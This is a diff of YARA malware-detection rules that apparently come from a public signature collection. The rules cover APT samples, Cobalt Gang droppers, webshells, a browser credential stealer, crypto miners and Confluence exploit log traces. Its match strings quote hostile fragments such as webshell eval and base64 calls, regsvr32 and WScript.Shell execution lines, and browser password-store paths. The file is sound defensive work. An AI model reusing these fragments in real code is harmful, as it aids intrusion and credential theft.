-		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
-		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
 
 	strings:
-		$s0 = "\\DarkEYEV3-"
+		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii
+		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii
+		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii
+		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii
+		$s4 = "clapi32.dll" fullword ascii
+		$s5 = "Connection from %s port %d" fullword ascii
+		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii
+		$s7 = "Version: %s - %s %s %s %s" fullword ascii
+		$s8 = "[-] connect()" fullword ascii
+		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii
+		$s10 = "kexecdhs.c" fullword ascii
+		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $s0
+		uint16(0)==0x5a4d and filesize <5000KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Xsltransform_Aug21 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_9 : FILE
 {
 	meta:
-		description = "Detects an ASPX webshell utilizing XSL Transformations"
-		author = "Max Altgelt"
-		id = "44254084-a717-59e6-a3ac-eca3c1c864a8"
-		date = "2020-02-23"
-		modified = "2023-12-05"
-		reference = "https://gist.github.com/JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/webshell_xsl_transform.yar#L1-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ac0b50adc4c56769d0248e213e9426a22e0f5086bf081da57f835ff1c77b716"
-		score = 75
+		description = "Wild Neutron APT Sample Rule"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dbfdbe8c-4a4a-5512-a03d-e9f80c853d48"
+		date = "2015-07-10"
+		modified = "2023-01-06"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L203-L223"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+		logic_hash = "2029c94088e075cbcbae8d7d514cfc56add022d8776e59f04824d9ce9fd12794"
+		score = 60
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$csharpshell = "Language=\"C#\"" nocase
-		$x1 = "<root>1</root>"
-		$x2 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
-		$s1 = "XsltSettings.TrustedXslt"
-		$s2 = "Xml.XmlUrlResolver"
-		$s3 = "FromBase64String(Request[\""
+		$s0 = "http://get.adobe.com/flashplayer/" wide
+		$s4 = " Player Installer/Uninstaller" fullword wide
+		$s5 = "Adobe Flash Plugin Updater" fullword wide
+		$s6 = "uSOFTWARE\\Adobe" fullword wide
+		$s11 = "2008R2" fullword wide
+		$s12 = "%02d.%04d.%s" fullword wide
+		$s13 = "%d -> %d" fullword wide
 
 	condition:
-		filesize <500KB and $csharpshell and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <1477KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_1 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_10 : FILE
 {
 	meta:
-		description = "Detects samples from Grey Energy report"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fc997540-075e-5f1c-9238-135c1572553b"
-		date = "2018-10-17"
+		id = "5654a36f-8502-5e18-b8f3-94d4add466a7"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greyenergy.yar#L12-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cbdc156b7080608c1071feeb4826a70bb259c55139d74d019465c4bb5244260"
-		score = 75
-		quality = 85
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L225-L267"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+		logic_hash = "b282b6892f9cb6769bf0e302deaa8062fd69bfd51144bc06fc9501fde9537dae"
+		score = 60
+		quality = 83
 		tags = "FILE"
-		hash1 = "6c52a5850a57bea43a0a52ff0e2d2179653b97ae5406e884aee63e1cf340f58b"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%SystemRoot%\\System32\\thinmon.dll" fullword ascii
-		$s2 = "'Cannot delete list entry (fatal error)!9The module %s cannot be executed on this system (0x%.4x).%Enumerate all sessions on TSE" wide
-		$s8 = "cbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbe" ascii
-		$s14 = "configure the service" fullword wide
+		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii
+		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii
+		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii
+		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii
+		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii
+		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii
+		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii
+		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii
+		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii
+		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii
+		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii
+		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii
+		$x1 = "wdigestEx.dll" fullword ascii
+		$x2 = "dpcore16t.dll" fullword ascii
+		$x3 = "mspool.dll" fullword ascii
+		$x4 = "msvcse.exe" fullword ascii
+		$x5 = "mshtaex.exe" fullword wide
+		$x6 = "iastor32.exe" fullword ascii
+		$y1 = "Installer.exe" fullword ascii
+		$y2 = "Info: Process %s" fullword ascii
+		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii
+		$y4 = "Install succeeded" fullword ascii
+		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and pe.imphash()=="98d1ad672d0db4b4abdcda73cc9835cb" and all of them
+		uint16(0)==0x5a4d and filesize <400KB and ($n1 or (1 of ($s*) and 1 of ($x*) and 3 of ($y*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_2 : FILE
+rule SIGNATURE_BASE_APT_MAL_Wildneutron_Javacpl : FILE
 {
 	meta:
-		description = "Detects samples from Grey Energy report"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "50830741-ba3d-505c-bb21-8cedc2162f96"
-		date = "2018-10-17"
-		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greyenergy.yar#L31-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "600bc5b423ef3281bfc7ad7ab479aa1208b0144b0f4afd8c2d14f17b5e2c600b"
-		score = 75
+		id = "de82827e-61d4-559e-886a-78d5293ab141"
+		date = "2015-07-10"
+		modified = "2023-01-06"
+		old_rule_name = "WildNeutron_javacpl"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L272-L300"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c9cb6ab956d29df9f59520262ab308a0256747cc3c898979347304950e093098"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "c6a54912f77a39c8f909a66a940350dcd8474c7a1d0e215a878349f1b038c58a"
+		hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
+		hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+		hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
 
 	strings:
-		$s1 = "WioGLtonuaptWmrnttfepgetneemVsnygnV" fullword ascii
-		$s2 = "PnSenariopoeKerGEtxrcy" fullword ascii
+		$s1 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" ascii fullword
+		$s2 = "cmdcmdline" wide fullword
+		$s3 = "\"%s\" /K %s" wide fullword
+		$s4 = "Process is not running any more" wide fullword
+		$s5 = "dpnxfsatz" wide fullword
+		$op1 = { ff d6 50 ff 15 ?? ?? 43 00 8b f8 85 ff 74 34 83 64 24 0c 00 e8 ?? ?? 02 00 }
+		$op2 = { b8 02 00 00 00 01 45 80 01 45 88 6a 00 47 52 89 7d 8c 03 d8 }
+		$op3 = { 8b c7 f7 f6 46 89 b5 c8 fd ff ff 0f b7 c0 8b c8 0f af ce 3b cf }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 2 of them
+		uint16(0)==0x5a4d and filesize <5MB and ( all of ($s*) or all of ($op*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_3 : FILE
+rule SIGNATURE_BASE_Credentialstealer_Generic_Backdoor : FILE
 {
 	meta:
-		description = "Detects samples from Grey Energy report"
+		description = "Detects credential stealer byed on many strings that indicate password store access"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc365dbf-1448-5219-95f5-d1154000f52d"
-		date = "2018-10-17"
+		id = "b3124f6c-4e18-562c-84d9-d51e086da446"
+		date = "2017-06-07"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greyenergy.yar#L46-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f4851f5381a4d8dea488d50ff11048052826c51428f8610bc5d3480ed254d32f"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_credstealer_generic.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa06291a91ac84f80cd2cbe5a01c2cbcc14cf6914da9d1234af9b3d833990551"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "edb2d039a57181acf95bd91b2a20bd9f1d66f3ece18506d4ad870ab65e568f2c"
 
 	strings:
-		$x1 = "USQTUNPPQONOPOQUMSNUTRMRRLVPUOPMROPMPMQTPNPONVUOUQOMMNNSRSRQQVTPPRSSNVSTURTMMOPTONSQTOMONQVMQNUSONTQTUTSRRPVTONUQNORQMRRNRUSPS" fullword ascii
-		$x2 = "tEMPiuP" fullword ascii
-		$x3 = "sryCEMieye" fullword ascii
+		$s1 = "GetOperaLoginData" fullword ascii
+		$s2 = "GetInternetExplorerCredentialsPasswords" fullword ascii
+		$s3 = "%s\\Opera Software\\Opera Stable\\Login Data" fullword ascii
+		$s4 = "select *  from moz_logins" fullword ascii
+		$s5 = "%s\\Google\\Chrome\\User Data\\Default\\Login Data" fullword ascii
+		$s6 = "Host.dll.Windows" fullword ascii
+		$s7 = "GetInternetExplorerVaultPasswords" fullword ascii
+		$s8 = "GetWindowsLiveMessengerPasswords" fullword ascii
+		$s9 = "%s\\Chromium\\User Data\\Default\\Login Data" fullword ascii
+		$s10 = "%s\\Opera\\Opera\\profile\\wand.dat" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 1 of them
+		( uint16(0)==0x5a4d and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_4 : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Confluence_RCE_CVE_2021_26084_Sep21 : LOG CVE_2021_26084
 {
 	meta:
-		description = "Detects samples from Grey Energy report"
+		description = "Detects exploitation attempts against Confluence servers abusing a RCE reported as CVE-2021-26084"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1a2df257-a639-5868-a005-690d64cfbf2b"
-		date = "2018-10-17"
+		id = "bbf98ce4-d32b-541a-b727-bc35c9aaef53"
+		date = "2021-09-01"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greyenergy.yar#L62-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c845be8b56dc9aa9f0eaec2a67c4baef9c9b4fd1789e96cd781e3876721b1297"
-		score = 75
+		reference = "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_26084_confluence_log.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04542570b4814efde3d96ba5be8b5f9fd6e3c51be09f0e8a1c4eba45bfd8f5ff"
+		score = 55
 		quality = 85
-		tags = "FILE"
-		hash1 = "6974b8acf6a8f7684673b01753c3a8248a1c491900cccf771db744ca0442f96a"
-		hash2 = "165a7853ef51e96ce3f88bb33f928925b24ca5336e49845fc5fc556812092740"
-		hash3 = "4470e40f63443aa27187a36bbb0c2f4def42b589b61433630df842b6e365ae3d"
-		hash4 = "c21cf6018c2ee0a90b9d2c401aae8071c90b5a4bc9848a94d678d77209464f79"
+		tags = "LOG, CVE-2021-26084"
 
 	strings:
-		$x1 = "iiodttd.eWt" fullword ascii
-		$x2 = "irnnaar-ite-ornaa-naa-asoeienaeaanlagoeas:acnuihaaa" fullword ascii
-		$x3 = "NURVNTURVORSMSPPRTQMPTTQOQRP" fullword ascii
+		$xr1 = /isSafeExpression Unsafe clause found in \['[^\n]{1,64}\\u0027/ ascii wide
+		$xs1 = "[util.velocity.debug.DebugReferenceInsertionEventHandler] referenceInsert resolving reference [$!queryString]"
+		$xs2 = "userName: anonymous | action: createpage-entervariables ognl.ExpressionSyntaxException: Malformed OGNL expression: '\\' [ognl.TokenMgrError: Lexical error at line 1"
+		$sa1 = "GET /pages/doenterpagevariables.action"
+		$sb1 = "%5c%75%30%30%32%37"
+		$sb2 = "\\u0027"
+		$sc1 = " ERROR "
+		$sc2 = " | userName: anonymous | action: createpage-entervariables"
+		$re1 = /\[confluence\.plugins\.synchrony\.SynchronyContextProvider\] getContextMap (\n )?-- url: \/pages\/createpage-entervariables\.action/
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="279adfbd42308a07b3131ee57d067b3e" or 1 of them )
+		1 of ($x*) or ($sa1 and 1 of ($sb*)) or ( all of ($sc*) and $re1)
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_5 : FILE
+rule SIGNATURE_BASE_Gifcloaked_Webshell_A : FILE
 {
 	meta:
-		description = "Detects samples from Grey Energy report"
+		description = "Looks like a webshell cloaked as GIF"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a8c4517d-912d-5264-b9ab-acdf37fc4d56"
-		date = "2018-10-17"
+		id = "4fdef65c-204a-5019-9b4f-c5877c3e39d4"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greyenergy.yar#L84-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3ced67c514d54324b41a4a4a92c1d3138e75380f3129b39ae92c1895c267acb2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/yara_mixed_ext_vars.yar#L180-L201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		logic_hash = "0c4570373d50c40745cd0523dcf8c34ee3cae1c298982b3a39d4a33e054aa779"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "037723bdb9100d19bf15c5c21b649db5f3f61e421e76abe9db86105f1e75847b"
-		hash2 = "b602ce32b7647705d68aedbaaf4485f1a68253f8f8132bd5d5f77284a6c2d8bb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s12 = "WespySSld.eQ" fullword ascii
+		$s0 = "input type"
+		$s1 = "<%eval request"
+		$s2 = "<%eval(Request.Item["
+		$s3 = "LANGUAGE='VBScript'"
+		$s4 = "$_REQUEST" fullword
+		$s5 = ";eval("
+		$s6 = "base64_decode"
+		$fp1 = "<form name=\"social_form\""
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 1 of them
+		uint32(0)==0x38464947 and (1 of ($s*)) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_SUSP_RAR_Ntdsdit : FILE
+rule SIGNATURE_BASE_SUSP_LNX_SH_Cryptominer_Indicators_Dec20_1 : FILE
 {
 	meta:
-		description = "Detects suspicious RAR file that contains ntds.dit or SAM export"
+		description = "Detects helper script used in a crypto miner campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "da9e160f-3213-5027-bb0f-bf80ab3d5318"
-		date = "2019-12-16"
-		modified = "2022-11-15"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rar_exfil.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12e527b040e02f573f2a6e0fac4ff99ec441bf189c9bb7e1f763619c079a5bfa"
-		score = 70
+		id = "e376e0e1-1490-5ad4-8ca2-d28ca1c0b51a"
+		date = "2020-12-31"
+		modified = "2023-12-05"
+		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_crypto_miner.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4acd1b77307dbf23f95f7a2024209bee714c6931182aff16455ea6b7e4a6f287"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "3298dbd985c341d57e3219e80839ec5028585d0b0a737c994363443f4439d7a5"
 
 	strings:
-		$x1 = "ntds.dit0" ascii fullword
-		$x2 = { 0? 53 41 4D 30 01 00 03 }
-		$x3 = { 0? 73 61 6D 30 01 00 03 }
+		$x1 = "miner running" fullword ascii
+		$x2 = "miner runing" fullword ascii
+		$x3 = " --donate-level 1 "
+		$x4 = " -o pool.minexmr.com:5555 " ascii
 
 	condition:
-		uint32(0)==0x21726152 and 1 of them
+		filesize <20KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Cobaltstrike_CN_Group_Beacondropper_Aug17 : FILE
+rule SIGNATURE_BASE_PUA_WIN_XMRIG_Cryptocoin_Miner_Dec20 : FILE
 {
 	meta:
-		description = "Detects Script Dropper of Cobalt Gang used in August 2017"
+		description = "Detects XMRIG crypto coin miners"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5631b0bc-9e25-524a-9003-73779fd492f7"
-		date = "2017-08-09"
+		id = "4dfb04e9-fbba-5a6f-ad20-d805025d2d74"
+		date = "2020-12-31"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cobaltgang.yar#L15-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "89db9c5f09afc9cb54fb7a9cd1490373c568ac4dc04bdb9ef71136f91e16ad2c"
+		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_crypto_miner.yar#L19-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c39aee669a98bcc9d07821aef248096e45a6c54ab22b8b98c0a393b445f3934e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
-		hash2 = "1c845bb0f6b9a96404af97dcafdc77f1629246e840c01dd9f1580a341f554926"
-		hash3 = "6206e372870ea4f363be53557477f9748f1896831a0cdef3b8450a7fb65b86e1"
+		hash1 = "b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09"
 
 	strings:
-		$x1 = "WriteLine(\"(new ActiveXObject('WScript.Shell')).Run('cmd /c c:/" ascii
-		$x2 = "WriteLine(\" (new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" ascii
-		$x3 = "sh.Run(env('cmd /c set > %temp%" ascii
-		$x4 = "sh.Run('regsvr32 /s /u /i:" ascii
-		$x5 = ".Get('Win32_ScheduledJob').Create('regsvr32 /s /u /i:" ascii
-		$x6 = "scrobj.dll','********" ascii
-		$x7 = "www.thyssenkrupp-marinesystems.org" fullword ascii
-		$x8 = "f.WriteLine(\" tLnk=env('%tmp%/'+lnkName+'.lnk');\");" fullword ascii
-		$x9 = "lnkName='office 365'; " fullword ascii
-		$x10 = ";sh=x('WScript.Shell');" ascii
+		$x1 = "xmrig.exe" fullword wide
+		$x2 = "xmrig.com" fullword wide
+		$x3 = "* for x86, CRYPTOGAMS" fullword ascii
 
 	condition:
-		( filesize <200KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <6000KB and 2 of them or all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Cobaltgang_Malware_Aug17_1 : FILE
+rule SIGNATURE_BASE_ME_Campaign_Malware_1 : FILE
 {
 	meta:
-		description = "Detects a Cobalt Gang malware"
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
 		author = "Florian Roth (Nextron Systems)"
-		id = "56c6f4f8-ccf5-5665-ac21-67f0a9b67cf1"
-		date = "2017-08-09"
+		id = "7c844c5c-caf0-5968-ac1a-72886fcf97cf"
+		date = "2018-02-07"
 		modified = "2023-12-05"
-		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cobaltgang.yar#L41-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46077106bd19dd38a714a220b887742f5a29424ac8eb89f469975f863b3782ec"
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_middle_east_talosreport.yar#L13-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e5ea689de4be64a02aed31c85a4bd56561ba932587998bc276ddba248d73fa2d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6d70673b723f338b3febc9f1d69463bdd4775539cb92b5a5d8fccc0d977fa2f0"
-
-	strings:
-		$s1 = "ServerSocket.EXE" fullword wide
-		$s2 = "Incorrect version of WS2_32.dll found" fullword ascii
-		$s3 = "Click 'Connect' to Connect to the Server.  'Disconnect' to disconnect from server." fullword wide
-		$s4 = "Click 'Start' to start the Server.  'Stop' to Stop it." fullword wide
+		hash1 = "1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="618f76eaf4bd95c690d43e84d617efe9")
 }
 import "pe"
 
-rule SIGNATURE_BASE_Cobaltgang_Malware_Aug17_2 : FILE
+rule SIGNATURE_BASE_ME_Campaign_Malware_2 : FILE
 {
 	meta:
-		description = "Detects a Cobalt Gang malware"
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2839c119-0fa4-51f0-a406-5d381cc594a2"
-		date = "2017-08-09"
+		id = "a0beec30-62ff-54c3-ab62-c54454b89f8d"
+		date = "2018-02-07"
 		modified = "2023-12-05"
-		reference = "https://sslbl.abuse.ch/intel/6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cobaltgang.yar#L59-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "54095d2f447b6478aefe956133fb9b97171c1e07d7d9186a70bf242a094e4156"
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_middle_east_talosreport.yar#L28-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "414e7760c56d2a1713258bb5c5f65e4fb561523ae037f8715d7fba5914ef9211"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "80791d5e76782cc3cd14f37f351e33b860818784192ab5b650f1cdf4f131cf72"
+		hash1 = "76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881"
 
 	strings:
-		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB)" fullword ascii
+		$s1 = "QuickAssist.exe" fullword wide
+		$s2 = "<description>Microsoft Modern Sharing Solution</description>" fullword ascii
+		$s3 = "GBEWCWA" fullword ascii
+		$s4 = "name=\"QuickAssist\" " fullword ascii
+		$s5 = "Cimzal" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b06055e6cc2a804111ab6964df1ca4ae" or 4 of them )
 }
 import "pe"
 
